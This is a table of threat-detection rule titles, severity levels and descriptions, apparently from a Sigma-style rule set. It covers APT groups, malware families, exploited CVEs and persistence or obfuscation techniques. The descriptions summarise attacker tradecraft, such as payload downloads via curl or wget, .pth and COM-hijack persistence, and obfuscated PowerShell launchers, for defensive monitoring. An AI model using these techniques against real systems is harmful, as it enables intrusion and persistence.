Potential APT10 Cloud Hopper Activity	high	Detects potential process and execution activity related to APT10 Cloud Hopper operation
Turla Group Named Pipes	critical	Detects a named pipe used by Turla group samples
Elise Backdoor Activity	critical	Detects Elise backdoor activity used by APT32
Sofacy Trojan Loader Activity	high	Detects Trojan loader activity as used by APT28
APT29 2018 Phishing Campaign CommandLine Indicators	critical	Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant
Potential MuddyWater APT Activity	high	Detects potential Muddywater APT activity
TropicTrooper Campaign November 2018	high	Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia
Exploiting SetupComplete.cmd CVE-2019-1378	high	Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378
Potential Baby Shark Malware Activity	high	Detects activity that could be related to Baby Shark malware
Potential Emotet Activity	high	Detects all Emotet like process executions that are not covered by the more generic rules
Potential QBot Activity	critical	Detects potential QBot activity by looking for process executions used previously by QBot
Potential Snatch Ransomware Activity	high	Detects specific process characteristics of Snatch ransomware word document droppers
Ursnif Malware C2 URL Pattern	critical	Detects Ursnif C2 traffic.
Potential Ursnif Malware Activity - Registry	high	Detects registry keys related to Ursnif malware.
Operation Wocao Activity	high	Detects activity mentioned in Operation Wocao report
Operation Wocao Activity - Security	high	Detects activity mentioned in Operation Wocao report
DNS RCE CVE-2020-1350	critical	Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process
Exploitation Attempt Of CVE-2020-1472 - Execution of ZeroLogon PoC	high	Detects the execution of the commonly used ZeroLogon PoC executable.
Suspicious PrinterPorts Creation (CVE-2020-1048)	high	Detects new commands that add new printer port which point to suspicious file
Exploited CVE-2020-10189 Zoho ManageEngine	high	Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189
CVE-2020-1048 Exploitation Attempt - Suspicious New Printer Ports - Registry	high	Detects changes to the "Ports" registry key with data that includes a Windows path or a file with a suspicious extension. This could be an attempt to exploit CVE-2020-1048 - a Windows Print Spooler elevation of privilege vulnerability.
Blue Mockingbird	high	Attempts to detect system changes made by Blue Mockingbird
Potential Maze Ransomware Activity	critical	Detects specific process characteristics of Maze ransomware word document droppers
Trickbot Malware Activity	high	Detects Trickbot malware process tree pattern in which "rundll32.exe" is a parent of "wermgr.exe"
Lazarus Group Activity	critical	Detects different process execution behaviors as described in various threat reports on Lazarus group activity
UNC2452 Process Creation Patterns	high	Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries
Greenbug Espionage Group Indicators	critical	Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec
UNC2452 PowerShell Pattern	critical	Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports
TAIDOOR RAT DLL Load	high	Detects specific process characteristics of Chinese TAIDOOR RAT malware load
CVE-2021-1675 Print Spooler Exploitation Filename Pattern	critical	Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675
Possible CVE-2021-1675 Print Spooler Exploitation	high	Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675
CVE-2021-1675 Print Spooler Exploitation	critical	Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675
CVE-2021-1675 Print Spooler Exploitation IPC Access	critical	Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527
Potential Atlassian Confluence CVE-2021-26084 Exploitation Attempt	high	Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084
Potential CVE-2021-26857 Exploitation Attempt	high	Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for \| abnormal subprocesses spawning by Exchange Server's Unified Messaging service
CVE-2021-26858 Exchange Exploitation	high	Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for creation of non-standard files on disk by Exchange Server’s Unified Messaging service which could indicate dropping web shells or other malicious content
Potential CVE-2021-40444 Exploitation Attempt	high	Detects potential exploitation of CVE-2021-40444 via suspicious process patterns seen in in-the-wild exploitations
Potential Exploitation Attempt From Office Application	high	Detects Office applications executing a child process that includes directory traversal patterns. This could be an attempt to exploit CVE-2022-30190 (MSDT RCE) or CVE-2021-40444 (MSHTML RCE)
CVE-2021-44077 POC Default Dropped File	high	Detects the creation of "msiexec.exe" in the "bin" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)
Potential BlackByte Ransomware Activity	high	Detects command line patterns used by BlackByte ransomware in different operations
DarkSide Ransomware Pattern	critical	Detects DarkSide Ransomware and helpers
Goofy Guineapig Backdoor IOC	high	Detects malicious indicators seen used by the Goofy Guineapig malware
Potential Goofy Guineapig Backdoor Activity	high	Detects a specific broken command that was used by Goofy-Guineapig as described by the NCSC report.
REvil Kaseya Incident Malware Patterns	critical	Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)
Potential CVE-2023-21554 QueueJumper Exploitation	high	Detects potential exploitation of CVE-2023-21554 (dubbed QueueJumper)
Potential CVE-2022-22954 Exploitation Attempt - VMware Workspace ONE Access Remote Code Execution	medium	Detects potential exploitation attempt of CVE-2022-22954, a remote code execution vulnerability in VMware Workspace ONE Access and Identity Manager. As reported by Morphisec, part of the attack chain, threat actors used PowerShell commands that executed as a child processes of the legitimate Tomcat "prunsrv.exe" process application.
Potential CVE-2022-26809 Exploitation Attempt	high	Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)
Potential CVE-2022-29072 Exploitation Attempt	high	Detects potential exploitation attempts of CVE-2022-29072, a 7-Zip privilege escalation and command execution vulnerability. 7-Zip version 21.07 and earlier on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process.
Potential Bumblebee Remote Thread Creation	high	Detects remote thread injection events based on action seen used by bumblebee
ChromeLoader Malware Execution	high	Detects execution of ChromeLoader malware via a registered scheduled task
Emotet Loader Execution Via .LNK File	high	Detects the Emotet Epoch4 loader as reported by @malware_traffic back in 2022. The ".lnk" file was delivered via phishing campaign.
Hermetic Wiper TG Process Patterns	high	Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022
Raspberry Robin Subsequent Execution of Commands	high	Detects raspberry robin subsequent execution of commands.
Raspberry Robin Initial Execution From External Drive	high	Detects the initial execution of the Raspberry Robin malware from an external drive using "Cmd.EXE".
Serpent Backdoor Payload Execution Via Scheduled Task	high	Detects post exploitation execution technique of the Serpent backdoor. According to Proofpoint, one of the commands that the backdoor ran was via creating a temporary scheduled task using an unusual method. It creates a fictitious windows event and a trigger in which once the event is created, it executes the payload.
Potential Raspberry Robin Dot Ending File	high	Detects commandline containing reference to files ending with a "." This scheme has been seen used by raspberry-robin
FakeUpdates/SocGholish Activity	high	Detects initial execution of FakeUpdates/SocGholish malware via wscript that later executes commands via cmd or powershell.
MERCURY APT Activity	high	Detects suspicious command line patterns seen being used by MERCURY APT
MSMQ Corrupted Packet Encountered	high	Detects corrupted packets sent to the MSMQ service. Could potentially be a sign of CVE-2023-21554 exploitation
CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Linux)	high	Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.
CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Windows)	medium	Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.
Potential MOVEit Transfer CVE-2023-34362 Exploitation - Dynamic Compilation Via Csc.EXE	medium	Detects the execution of "csc.exe" via "w3wp.exe" process. MOVEit affected hosts execute "csc.exe" via the "w3wp.exe" process to dynamically compile malicious DLL files. MOVEit is affected by a critical vulnerability. Exploited hosts show evidence of dynamically compiling a DLL and writing it under C:\\Windows\\Microsoft\.NET\\Framework64\\v4\.0\.30319\\Temporary ASP\.NET Files\\root\\([a-z0-9]{5,12})\\([a-z0-9]{5,12})\\App_Web_[a-z0-9]{5,12}\.dll. Hunting Opportunity Events from IIS dynamically compiling binaries via the csc.exe on behalf of the MOVEit application, especially since May 27th should be investigated.
Potential CVE-2023-36874 Exploitation - Uncommon Report.Wer Location	medium	Detects the creation of a "Report.wer" file in an uncommon folder structure. This could be a sign of potential exploitation of CVE-2023-36874.
Potential CVE-2023-36874 Exploitation - Fake Wermgr.Exe Creation	high	Detects the creation of a file named "wermgr.exe" being created in an uncommon directory. This could be a sign of potential exploitation of CVE-2023-36874.
Potential CVE-2023-36874 Exploitation - Fake Wermgr Execution	high	Detects the execution of a renamed "cmd", "powershell" or "powershell_ise" binary. Attackers were seen using these binaries in a renamed form as "wermgr.exe" in exploitation of CVE-2023-36874
CVE-2023-38331 Exploitation Attempt - Suspicious Double Extension File	high	Detects the creation of a file with a double extension and a space by WinRAR. This could be a sign of exploitation of CVE-2023-38331
CVE-2023-40477 Potential Exploitation - .REV File Creation	low	Detects the creation of ".rev" files by WinRAR. Could be indicative of potential exploitation of CVE-2023-40477. Look for a suspicious execution shortly after creation or a WinRAR application crash.
CVE-2023-38331 Exploitation Attempt - Suspicious WinRAR Child Process	high	Detects exploitation attempt of CVE-2023-38331 (WinRAR before v6.23), where an attacker can leverage WinRAR to execute arbitrary commands and binaries.
CVE-2023-40477 Potential Exploitation - WinRAR Application Crash	medium	Detects a crash of "WinRAR.exe" where the version is lower than 6.23. This could indicate potential exploitation of CVE-2023-40477
DarkGate - Autoit3.EXE File Creation By Uncommon Process	medium	Detects the usage of curl.exe, KeyScramblerLogon, or other non-standard/suspicious processes used to create Autoit3.exe. This activity has been associated with DarkGate malware, which uses Autoit3.exe to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. Curl, KeyScramblerLogon, and these other processes consitute non-standard and suspicious ways to retrieve the Autoit3 executable.
DarkGate - Autoit3.EXE Execution Parameters	high	Detects execution of the legitimate Autoit3 utility from a suspicious parent process. AutoIt3.exe is used within the DarkGate infection chain to execute shellcode that performs process injection and connects to the DarkGate command-and-control server.
Griffon Malware Attack Pattern	critical	Detects process execution patterns related to Griffon malware as reported by Kaspersky
Potential Pikabot Infection - Suspicious Command Combinations Via Cmd.EXE	medium	Detects the execution of concatenated commands via "cmd.exe". Pikabot often executes a combination of multiple commands via the command handler "cmd /c" in order to download and execute additional payloads. Commands such as "curl", "wget" in order to download extra payloads. "ping" and "timeout" are abused to introduce delays in the command execution and "Rundll32" is also used to execute malicious DLL files. In the observed Pikabot infections, a combination of the commands described above are used to orchestrate the download and execution of malicious DLL files.
Pikabot Fake DLL Extension Execution Via Rundll32.EXE	high	Detects specific process tree behavior linked to "rundll32" executions, wherein the associated DLL lacks a common ".dll" extension, often signaling potential Pikabot activity.
Qakbot Regsvr32 Calc Pattern	high	Detects a specific command line of "regsvr32" where the "calc" keyword is used in conjunction with the "/s" flag. This behavior is often seen used by Qakbot
Potential Qakbot Rundll32 Execution	high	Detects specific process tree behavior of a "rundll32" execution often linked with potential Qakbot activity.
Qakbot Rundll32 Exports Execution	critical	Detects specific process tree behavior of a "rundll32" execution with exports linked with Qakbot activity.
Qakbot Rundll32 Fake DLL Extension Execution	critical	Detects specific process tree behavior of a "rundll32" execution where the DLL doesn't have the ".dll" extension. This is often linked with potential Qakbot activity.
Qakbot Uninstaller Execution	high	Detects the execution of the Qakbot uninstaller file mentioned in the USAO-CDCA document on the disruption of the Qakbot malware and botnet
Rorschach Ransomware Execution Activity	critical	Detects Rorschach ransomware execution activity
SNAKE Malware Kernel Driver File Indicator	critical	Detects SNAKE malware kernel driver file indicator
SNAKE Malware WerFault Persistence File Creation	high	Detects the creation of a file named "WerFault.exe" in the WinSxS directory by a non-system process, which can be indicative of potential SNAKE malware activity
SNAKE Malware Installer Name Indicators	low	Detects filename indicators associated with the SNAKE malware as reported by CISA in their report
Potential SNAKE Malware Installation CLI Arguments Indicator	high	Detects a specific command line arguments sequence seen used by SNAKE malware during its installation as described by CISA in their report
Potential SNAKE Malware Installation Binary Indicator	high	Detects a specific binary name seen used by SNAKE malware during its installation as described by CISA in their report
Potential SNAKE Malware Persistence Service Execution	high	Detects a specific child/parent process relationship indicative of a "WerFault" process running from the "WinSxS" as a service. This could be indicative of potential SNAKE malware activity as reported by CISA.
Ursnif Redirection Of Discovery Commands	high	Detects the redirection of Ursnif discovery commands as part of the initial execution of the malware.
Potential Compromised 3CXDesktopApp Execution	high	Detects execution of known compromised version of 3CXDesktopApp
Potential Suspicious Child Process Of 3CXDesktopApp	high	Detects potential suspicious child processes of "3CXDesktopApp.exe". Which could be related to the 3CXDesktopApp supply chain compromise
Potential Compromised 3CXDesktopApp Update Activity	high	Detects the 3CXDesktopApp updater downloading a known compromised version of the 3CXDesktopApp software
Diamond Sleet APT File Creation Indicators	high	Detects file creation activity that is related to Diamond Sleet APT activity
Diamond Sleet APT Process Activity Indicators	high	Detects process creation activity indicators related to Diamond Sleet APT
Diamond Sleet APT Scheduled Task Creation	critical	Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability
Potential APT FIN7 Related PowerShell Script Created	high	Detects PowerShell script file creation with specific name or suffix which was seen being used often by FIN7 PowerShell scripts
Potential APT FIN7 POWERHOLD Execution	high	Detects execution of the POWERHOLD script seen used by FIN7 as reported by WithSecureLabs
Potential POWERTRASH Script Execution	high	Detects potential execution of the PowerShell script POWERTRASH
Potential APT FIN7 Reconnaissance/POWERTRASH Related Activity	high	Detects specific command line execution used by FIN7 as reported by WithSecureLabs for reconnaissance and POWERTRASH execution
Lace Tempest File Indicators	high	Detects PowerShell script file creation with specific names or suffixes which was seen being used often in PowerShell scripts by FIN7
Lace Tempest PowerShell Evidence Eraser	high	Detects a PowerShell script used by Lace Tempest APT to erase evidence from victim servers by exploiting CVE-2023-47246 as reported by SysAid Team
Lace Tempest PowerShell Launcher	high	Detects a PowerShell script used by Lace Tempest APT to launch their malware loader by exploiting CVE-2023-47246 as reported by SysAid Team
Lace Tempest Cobalt Strike Download	high	Detects specific command line execution used by Lace Tempest to download Cobalt Strike as reported by SysAid Team
Lace Tempest Malware Loader Execution	high	Detects execution of a specific binary based on filename and hash used by Lace Tempest to load additional malware as reported by SysAid Team
Mint Sandstorm - AsperaFaspex Suspicious Process Execution	critical	Detects suspicious execution from AsperaFaspex as seen used by Mint Sandstorm
Mint Sandstorm - Log4J Wstomcat Process Execution	high	Detects Log4J Wstomcat process execution as seen in Mint Sandstorm activity
Mint Sandstorm - ManageEngine Suspicious Process Execution	critical	Detects suspicious execution from ManageEngine as seen used by Mint Sandstorm
Potential APT Mustang Panda Activity Against Australian Gov	high	Detects specific command line execution used by Mustang Panda in a targeted attack against the Australian government as reported by Lab52
Onyx Sleet APT File Creation Indicators	high	Detects file creation activity that is related to Onyx Sleet APT activity
PaperCut MF/NG Exploitation Related Indicators	high	Detects exploitation indicators related to PaperCut MF/NG Exploitation
PaperCut MF/NG Potential Exploitation	high	Detects suspicious child processes of "pc-app.exe". Which could indicate potential exploitation of PaperCut
Peach Sandstorm APT Process Activity Indicators	high	Detects process creation activity related to Peach Sandstorm APT
UNC4841 - Email Exfiltration File Pattern	high	Detects filename pattern of email related data used by UNC4841 for staging and exfiltration
UNC4841 - Barracuda ESG Exploitation Indicators	high	Detects file indicators as seen used by UNC4841 during their Barracuda ESG zero day exploitation.
UNC4841 - Potential SEASPY Execution	critical	Detects execution of specific named binaries which were used by UNC4841 to deploy their SEASPY backdoor
Potential Exploitation of CVE-2024-3094 - Suspicious SSH Child Process	high	Detects potentially suspicious child process of SSH process (sshd) with a specific execution user. This could be a sign of potential exploitation of CVE-2024-3094.
Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection - File Creation	medium	Detects suspicious file creations in the Palo Alto Networks PAN-OS' parent telemetry folder, which are processed by the vulnerable 'dt_curl' script if device telemetry is enabled. As said script overrides the shell-subprocess restriction, arbitrary command execution may occur by carefully crafting filenames that are escaped through this function.
Potential Exploitation of CVE-2024-37085 - Suspicious Creation Of ESX Admins Group	high	Detects execution of the "net.exe" command in order to add a group named "ESX Admins". This could indicates a potential exploitation attempt of CVE-2024-37085, which allows an attacker to elevate their privileges to full administrative access on an domain-joined ESXi hypervisor. VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named "ESX Admins" to have full administrative access by default.
Potential Exploitation of CVE-2024-37085 - Suspicious ESX Admins Group Activity	high	Detects any creation or modification to a windows domain group with the name "ESX Admins". This could indicates a potential exploitation attempt of CVE-2024-37085, which allows an attacker to elevate their privileges to full administrative access on an domain-joined ESXi hypervisor. VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named "ESX Admins" to have full administrative access by default.
CVE-2024-50623 Exploitation Attempt - Cleo	high	Detects exploitation attempt of Cleo's CVE-2024-50623 by looking for a "cmd.exe" process spawning from the Celo software suite with suspicious Powershell commandline.
DarkGate - Drop DarkGate Loader In C:\Temp Directory	medium	Detects attackers attempting to save, decrypt and execute the DarkGate Loader in C:\temp folder.
File Creation Related To RAT Clients	high	File .conf created related to VenomRAT, AsyncRAT and Lummac samples observed in the wild.
Potential KamiKakaBot Activity - Lure Document Execution	medium	Detects the execution of a Word document via the WinWord Start Menu shortcut. This behavior was observed being used by KamiKakaBot samples in order to initiate the 2nd stage of the infection.
Kapeka Backdoor Loaded Via Rundll32.EXE	high	Detects the Kapeka Backdoor binary being loaded by rundll32.exe. The Kapeka loader drops a backdoor, which is a DLL with the '.wll' extension masquerading as a Microsoft Word Add-In.
Kapeka Backdoor Scheduled Task Creation	high	Detects Kapeka backdoor scheduled task creation based on attributes such as paths, commands line flags, etc.
Potential Raspberry Robin CPL Execution Activity	high	Detects the execution of a ".CPL" file located in the user temp directory via the Shell32 DLL "Control_RunDLL" export function. This behavior was observed in multiple Raspberry-Robin variants.
Potential APT FIN7 Exploitation Activity	medium	Detects potential APT FIN7 exploitation activity as reported by Google. In order to obtain initial access, FIN7 used compromised Remote Desktop Protocol (RDP) credentials to login to a target server and initiate specific Windows process chains.
Forest Blizzard APT - Process Creation Activity	high	Detects the execution of specific processes and command line combination. These were seen being created by Forest Blizzard as described by MSFT.
DNS Request From Windows Script Host	low	Detects unusual domain resolutions originating from CScript/WScript that can identify malicious javascript files executing in an environment, often as a result from a phishing or watering hole attack.
Python Path Configuration File Creation - Linux	medium	Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\.pth' (Windows) and '/lib/pythonX.Y/site-packages/.pth' (Unix and macOS).
Python Path Configuration File Creation - MacOS	medium	Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\.pth' (Windows) and '/lib/pythonX.Y/site-packages/.pth' (Unix and macOS).
Scheduled Task Deletion	low	Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \TASKNAME
Remote Thread Creation Via PowerShell	medium	Detects the creation of a remote thread from a Powershell process to another process
Python Path Configuration File Creation - Windows	medium	Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\.pth' (Windows) and '/lib/pythonX.Y/site-packages/.pth' (Unix and macOS).
Scheduled Task Created - FileCreation	low	Detects the creation of a scheduled task via file creation.
Task Scheduler DLL Loaded By Application Located In Potentially Suspicious Location	low	Detects the loading of the "taskschd.dll" module from a process that located in a potentially suspicious or uncommon directory. The loading of this DLL might indicate that the application have the capability to create a scheduled task via the "Schedule.Service" COM object. Investigation of the loading application and its behavior is required to determining if its malicious.
Microsoft Excel Add-In Loaded	low	Detects Microsoft Excel loading an Add-In (.xll) file
Microsoft Word Add-In Loaded	low	Detects Microsoft Word loading an Add-In (.wll) file which can be used by threat actors for initial access or persistence.
WMI Module Loaded By Uncommon Process	low	Detects WMI modules being loaded by an uncommon process
Dfsvc.EXE Network Connection To Non-Local IPs	medium	Detects network connections from "dfsvc.exe" used to handled ClickOnce applications to non-local IPs
Dfsvc.EXE Initiated Network Connection Over Uncommon Port	high	Detects an initiated network connection over uncommon ports from "dfsvc.exe". A utility used to handled ClickOnce applications.
Dllhost.EXE Initiated Network Connection To Non-Local IP Address	medium	Detects Dllhost.EXE initiating a network connection to a non-local IP address. Aside from Microsoft own IP range that needs to be excluded. Network communication from Dllhost will depend entirely on the hosted DLL. An initial baseline is recommended before deployment.
Network Connection Initiated By PowerShell Process	low	Detects a network connection that was initiated from a PowerShell process. Often times malicious powershell scripts download additional payloads or communicate back to command and control channels via uncommon ports or IPs. Use this rule as a basis for hunting for anomalies.
PsExec Default Named Pipe	low	Detects PsExec service default pipe creation
Uncommon PowerShell Hosts	medium	Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe
bXOR Operator Usage In PowerShell Command Line - PowerShell Classic	low	Detects powershell execution with that make use of to the bxor (Bitwise XOR). Attackers might use as an alternative obfuscation method to Base64 encoded commands. Investigate the CommandLine and process tree to determine if the activity is malicious.
WinAPI Library Calls Via PowerShell Scripts	medium	Detects calls to WinAPI libraries from PowerShell scripts. Attackers can often leverage these APIs to avoid detection based on typical PowerShell function calls. Use this rule as a basis to hunt for interesting scripts.
WinAPI Function Calls Via PowerShell Scripts	medium	Detects calls to WinAPI functions from PowerShell scripts. Attackers can often leverage these APIs to avoid detection based on typical PowerShell function calls. Use this rule as a basis to hunt for interesting scripts.
Potential BOINC Software Execution (UC-Berkeley Signature)	informational	Detects the use of software that is related to the University of California, Berkeley via metadata information. This indicates it may be related to BOINC software and can be used maliciously if unauthorized.
Potential File Override/Append Via SET Command	low	Detects the use of the "SET" internal command of Cmd.EXE with the /p flag followed directly by an "=" sign. Attackers used this technique along with an append redirection operator ">>" in order to update the content of a file indirectly. Ex: cmd /c >> example.txt set /p="test data". This will append "test data" to contents of "example.txt". The typical use case of the "set /p=" command is to prompt the user for input.
Diskshadow Child Process Spawned	medium	Detects any child process spawning from "Diskshadow.exe". This could be due to executing Diskshadow in interpreter mode or script mode and using the "exec" flag to launch other applications.
ClickOnce Deployment Execution - Dfsvc.EXE Child Process	medium	Detects child processes of "dfsvc" which indicates a ClickOnce deployment execution.
Diskshadow Script Mode Execution	medium	Detects execution of "Diskshadow.exe" in script mode using the "/s" flag. Attackers often abuse "diskshadow" to execute scripts that deleted the shadow copies on the systems. Investigate the content of the scripts and its location.
Microsoft Workflow Compiler Execution	medium	Detects the execution of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.
Suspicious New Instance Of An Office COM Object	medium	Detects an svchost process spawning an instance of an office application. This happens when the initial word application creates an instance of one of the Office COM objects such as 'Word.Application', 'Excel.Application', etc. This can be used by malicious actors to create malicious Office documents with macros on the fly. (See vba2clr project in the references)
Import New Module Via PowerShell CommandLine	low	Detects usage of the "Import-Module" cmdlet in order to add new Cmdlets to the current PowerShell session
Unusually Long PowerShell CommandLine	low	Detects unusually long PowerShell command lines with a length of 1000 characters or more
Potentially Suspicious PowerShell Child Processes	medium	Detects potentially suspicious child processes spawned by PowerShell. Use this rule to hunt for potential anomalies initiating from PowerShell scripts and commands.
Remote Access Tool - Ammy Admin Agent Execution	medium	Detects the execution of the Ammy Admin RMM agent for remote management.
Remote Access Tool - Cmd.EXE Execution via AnyViewer	medium	Detects execution of "cmd.exe" via the AnyViewer RMM agent on a remote management sessions.
Remote Access Tool - ScreenConnect Remote Command Execution - Hunting	medium	Detects remote binary or command execution via the ScreenConnect Service. Use this rule in order to hunt for potentially anomalous executions originating from ScreenConnect
Scheduled Task Creation From Potential Suspicious Parent Location	medium	Detects the execution of "schtasks.exe" from a parent that is located in a potentially suspicious location. Multiple malware strains were seen exhibiting a similar behavior in order to achieve persistence.
Elevated System Shell Spawned	medium	Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges. Use this rule to hunt for potential suspicious processes.
Manual Execution of Script Inside of a Compressed File	medium	This is a threat-hunting query to collect information related to the interactive execution of a script from inside a compressed file (zip/rar). Windows will automatically run the script using scripting interpreters such as wscript and cscript binaries. From the query below, the child process is the script interpreter that will execute the script. The script extension is also a set of standard extensions that Windows OS recognizes. Selections 1-3 contain three different execution scenarios. 1. Compressed file opened using 7zip. 2. Compressed file opened using WinRar. 3. Compressed file opened using native windows File Explorer capabilities. When the malicious script is double-clicked, it will be extracted to the respected directories as signified by the CommandLine on each of the three Selections. It will then be executed using the relevant script interpreter."
WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript	medium	Detects script file execution (.js, .jse, .vba, .vbe, .vbs, .wsf) by Wscript/Cscript
Arbitrary Command Execution Using WSL	medium	Detects potential abuse of Windows Subsystem for Linux (WSL) binary as a Living of the Land binary in order to execute arbitrary Linux or Windows commands.
Cab File Extraction Via Wusa.EXE	medium	Detects execution of the "wusa.exe" (Windows Update Standalone Installer) utility to extract cab using the "/extract" argument that is no longer supported.
Scheduled Task Created - Registry	low	Detects the creation of a scheduled task via Registry keys.
Command Executed Via Run Dialog Box - Registry	low	Detects execution of commands via the run dialog box on Windows by checking values of the "RunMRU" registry key. This technique was seen being abused by threat actors to deceive users into pasting and executing malicious commands, often disguised as CAPTCHA verification steps.
OMIGOD SCX RunAsProvider ExecuteScript	high	Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.
Privilege Escalation Preparation	medium	Detects suspicious shell commands indicating the information gathering phase as preparation for the Privilege Escalation.
Invoke-Obfuscation CLIP+ Launcher	high	Detects Obfuscated use of Clip.exe to execute PowerShell
Invoke-Obfuscation STDIN+ Launcher	high	Detects Obfuscated use of stdin to execute PowerShell
Invoke-Obfuscation VAR+ Launcher	high	Detects Obfuscated use of Environment Variables to execute PowerShell
Invoke-Obfuscation COMPRESS OBFUSCATION	medium	Detects Obfuscated Powershell via COMPRESS OBFUSCATION
Invoke-Obfuscation RUNDLL LAUNCHER	medium	Detects Obfuscated Powershell via RUNDLL LAUNCHER
Invoke-Obfuscation Via Stdin	high	Detects Obfuscated Powershell via Stdin in Scripts
Invoke-Obfuscation Via Use Clip	high	Detects Obfuscated Powershell via use Clip.exe in Scripts
Invoke-Obfuscation Via Use MSHTA	high	Detects Obfuscated Powershell via use MSHTA in Scripts
Invoke-Obfuscation Via Use Rundll32	high	Detects Obfuscated Powershell via use Rundll32 in Scripts
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION	high	Detects Obfuscated Powershell via VAR++ LAUNCHER
File Creation by Office Applications	high	This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.
Automated Turla Group Lateral Movement	medium	Detects automated lateral movement by Turla group
Quick Execution of a Series of Suspicious Commands	low	Detects multiple suspicious process in a limited timeframe
Metasploit Or Impacket Service Installation Via SMB PsExec	high	Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation
Remote Schtasks Creation	medium	Detects remote execution via scheduled task creation or update on the destination host
Rare Schtasks Creations	low	Detects rare scheduled tasks creations that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious code

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Title	Level	Description
Edit of .bash_profile and .bashrc	medium	Detects change of user environment. Adversaries can insert code into these files to gain persistence each time a user logs in or opens a new shell.
SCM DLL Sideload	medium	Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system
Svchost DLL Search Order Hijack	high	Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\Windows\System32\ by default. An attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services "svchost.exe -k netsvcs" to gain code execution on a remote machine.
Suspicious Get-WmiObject	low	The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers
New Service Creation	low	Detects creation of a new service.
Suspicious Bitsadmin Job via PowerShell	high	Detect download by BITS jobs via PowerShell
Suspicious Bitstransfer via PowerShell	medium	Detects transferring files from system on a server bitstransfer Powershell cmdlets
Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
Abusing Windows Telemetry For Persistence - Registry	high	Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.
Potential Persistence Via COM Hijacking From Suspicious Locations	high	Detects potential COM object hijacking where the "Server" (In/Out) is pointing to a suspicious or unusual location.
Potential Persistence Via COM Search Order Hijacking	medium	Detects potential COM object hijacking leveraging the COM Search Order
SilentProcessExit Monitor Registration	high	Detects changes to the Registry in which a monitor program gets registered to monitor the exit of another process
